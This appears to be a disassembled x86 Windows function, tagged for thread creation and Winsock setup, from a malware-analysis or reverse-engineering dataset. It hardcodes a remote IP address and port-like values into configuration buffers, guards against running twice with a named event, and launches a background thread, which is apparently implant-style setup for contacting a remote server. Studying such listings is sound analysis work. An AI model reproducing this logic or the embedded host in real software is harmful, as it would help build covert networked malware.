Function at 0x403750
Capabilities:
Create thread
Initialize winsock library

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x830
mov eax, dword [0x439c20]
xor eax, ebp
mov dword [ebp - 4], eax
push edi
xor eax, eax
mov word [ebp - 0x5b0], ax
push 0x206
push 0
lea ecx, [ebp - 0x5ae]
push ecx
call fcn.0041ca30
add esp, 0xc
xor edx, edx
mov word [ebp - 0x7b8], dx
push 0x206
push 0
lea eax, [ebp - 0x7b6]
push eax
call fcn.0041ca30
add esp, 0xc
xor ecx, ecx
mov word [ebp - 0x210], cx
push 0x206
push 0
lea edx, [ebp - 0x20e]
push edx
call fcn.0041ca30
add esp, 0xc
mov dword [ebp - 0x3a4], 0
mov dword [ebp - 0x7bc], 0
mov dword [ebp - 0x3a8], 0
lea eax, [ebp - 0x3a0]
push eax
push 0x101
call dword [sym.imp.WS2_32.dll_WSAStartup]
push 1
push 0x43e480
call fcn.00402230
add esp, 8
mov dword [ebp - 0x3a4], eax
cmp dword [ebp - 0x3a4], 0
jne 0x4039b2
xor ecx, ecx
mov word [ebp - 0x7f8], cx
push 0x3a
push 0
lea edx, [ebp - 0x7f6]
push edx
call fcn.0041ca30
add esp, 0xc
lea eax, [ebp - 0x7f8]
push eax
call fcn.00403ad0
add esp, 4
lea ecx, [ebp - 0x7f8]
mov dword [ebp - 0x7fc], ecx
mov dword [ebp - 0x800], 0x43e628
mov edx, dword [ebp - 0x800]
mov dword [ebp - 0x804], edx
mov eax, dword [ebp - 0x7fc]
mov cx, word [eax]
mov word [ebp - 0x806], cx
mov edx, dword [ebp - 0x800]
mov ax, word [ebp - 0x806]
mov word [edx], ax
mov ecx, dword [ebp - 0x7fc]
add ecx, 2
mov dword [ebp - 0x7fc], ecx
mov edx, dword [ebp - 0x800]
add edx, 2
mov dword [ebp - 0x800], edx
cmp word [ebp - 0x806], 0
jne 0x403860
push str.218.54.31.165
push 0x43e484
call fcn.00406820
add esp, 8
mov eax, 0x51
mov word [0x43e504], ax
push str.AAAA
push 0x43e506
call fcn.00406800
add esp, 8
push 0x434c54
push 0x43e526
call fcn.00406820
add esp, 8
mov ecx, 0x2b66
mov word [0x43e5a6], cx
lea edx, [ebp - 0x7f8]
mov dword [ebp - 0x80c], edx
mov dword [ebp - 0x810], 0x43e608
mov eax, dword [ebp - 0x810]
mov dword [ebp - 0x814], eax
mov ecx, dword [ebp - 0x80c]
mov dx, word [ecx]
mov word [ebp - 0x816], dx
mov eax, dword [ebp - 0x810]
mov cx, word [ebp - 0x816]
mov word [eax], cx
mov edx, dword [ebp - 0x80c]
add edx, 2
mov dword [ebp - 0x80c], edx
mov eax, dword [ebp - 0x810]
add eax, 2
mov dword [ebp - 0x810], eax
cmp word [ebp - 0x816], 0
jne 0x403917
mov ecx, 0x43e608
add ecx, 0xfffffffe
mov dword [ebp - 0x81c], ecx
mov edx, dword [ebp - 0x81c]
mov ax, word [edx + 2]
mov word [ebp - 0x81e], ax
add dword [ebp - 0x81c], 2
cmp word [ebp - 0x81e], 0
jne 0x40396d
mov edi, dword [ebp - 0x81c]
mov ecx, dword [0x434c70]
mov dword [edi], ecx
mov dx, word [0x434c74]
mov word [edi + 4], dx
mov eax, dword [0x43afb8]
mov dword [0x43e648], eax
call fcn.00403be0
lea ecx, [ebp - 0x5b0]
push ecx
call fcn.00403ad0
add esp, 4
lea edx, [ebp - 0x5b0]
mov dword [ebp - 0x824], edx
mov dword [ebp - 0x828], 0x43e8b8
mov eax, dword [ebp - 0x828]
mov dword [ebp - 0x82c], eax
mov ecx, dword [ebp - 0x824]
mov dx, word [ecx]
mov word [ebp - 0x82e], dx
mov eax, dword [ebp - 0x828]
mov cx, word [ebp - 0x82e]
mov word [eax], cx
mov edx, dword [ebp - 0x824]
add edx, 2
mov dword [ebp - 0x824], edx
mov eax, dword [ebp - 0x828]
add eax, 2
mov dword [ebp - 0x828], eax
cmp word [ebp - 0x82e], 0
jne 0x4039e8
push 0x43e8b8
push 0
push 0x20000
call dword [sym.imp.KERNEL32.dll_OpenEventW]
mov dword [ebp - 0x3a8], eax
cmp dword [ebp - 0x3a8], 0
je 0x403a62
mov ecx, dword [ebp - 0x3a8]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
jmp 0x403abe
push 0x43e8b8
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventW]
mov dword [ebp - 0x3a8], eax
cmp dword [ebp - 0x3a8], 0
jne 0x403a86
xor eax, eax
jmp 0x403abe
push 0x43e938
call fcn.00403f60
add esp, 4
mov edx, dword [0x43e64c]
mov dword [0x43e940], edx
push 0
push 0
push 0
push 0x4047a0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [0x43b038], eax
mov eax, 1
pop edi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0041a64e
mov esp, ebp
pop ebp
ret